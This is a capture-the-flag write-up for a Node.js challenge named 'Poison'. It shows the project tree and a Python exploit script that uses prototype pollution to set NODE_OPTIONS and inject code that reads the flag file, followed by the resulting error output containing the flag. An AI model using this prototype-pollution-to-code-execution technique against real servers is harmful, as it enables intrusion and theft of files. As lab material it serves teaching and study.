Poison
Structure
poison
├── src/
│ ├── controllers/
│ ├── date.js
│ └── services.js
│ ├── data/
│ └── services.json
│ ├── middlewares/
│ └── error.js
│ ├── routes/
│ ├── date.json
│ └── services.js
│ └── utils/
│ └── utils.js
│ ├── app.js
│ ├── flag.txt
│ └── package.json
├── .dockerignore
├── Dockerfile
├── entrypoint.sh
└── restart.sh
Solution
Install pip
sudo apt install python3-pip
Install requests
python3 -m pip install requests
Exploit
from requests import get, put
host = '127.0.0.1'
port = '8003'
nodeOpt = {
'url': f'http://{host}:{port}/api/tcc/constructor/prototype/NODE_OPTIONS',
'payload': { 'value': '--require /proc/self/environ' }
}
shell = {
'url': f'http://{host}:{port}/api/tcc/constructor/prototype/shell',
'payload': { 'value': 'node' }
}
env = {
'url': f'http://{host}:{port}/api/tcc/constructor/prototype/env',
'payload': { 'value': { 'EXPLOIT': "'';throw new Error(require('fs').readFileSync('/usr/src/app/flag.txt'));//" } }
}
date = {
'url': f'http://{host}:{port}/api/date'
}
put(nodeOpt['url'], json = nodeOpt['payload'])
put(shell['url'], json = shell['payload'])
put(env['url'], json = env['payload'])
response = get(date['url'])
print(response.text)
Run the script
python3 exploit.py
Output
EXPLOIT='';throw new Error(require('fs').readFileSync('/usr/src/app/flag.txt'));//
^
Error: TCC{j5_pR0707yp3_p0150n1Ng}
at Object.<anonymous> (/proc/30/environ:1:18)
at Module._compile (internal/modules/cjs/loader.js:1085:14)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:1114:10)
at Module.load (internal/modules/cjs/loader.js:950:32)
at Function.Module._load (internal/modules/cjs/loader.js:790:12)
at Module.require (internal/modules/cjs/loader.js:974:19)
at Module._preloadModules (internal/modules/cjs/loader.js:1244:12)
at loadPreloadModules (internal/bootstrap/pre_execution.js:475:5)
at prepareMainThreadExecution (internal/bootstrap/pre_execution.js:72:3)
at internal/main/check_syntax.js:24:1
Last updated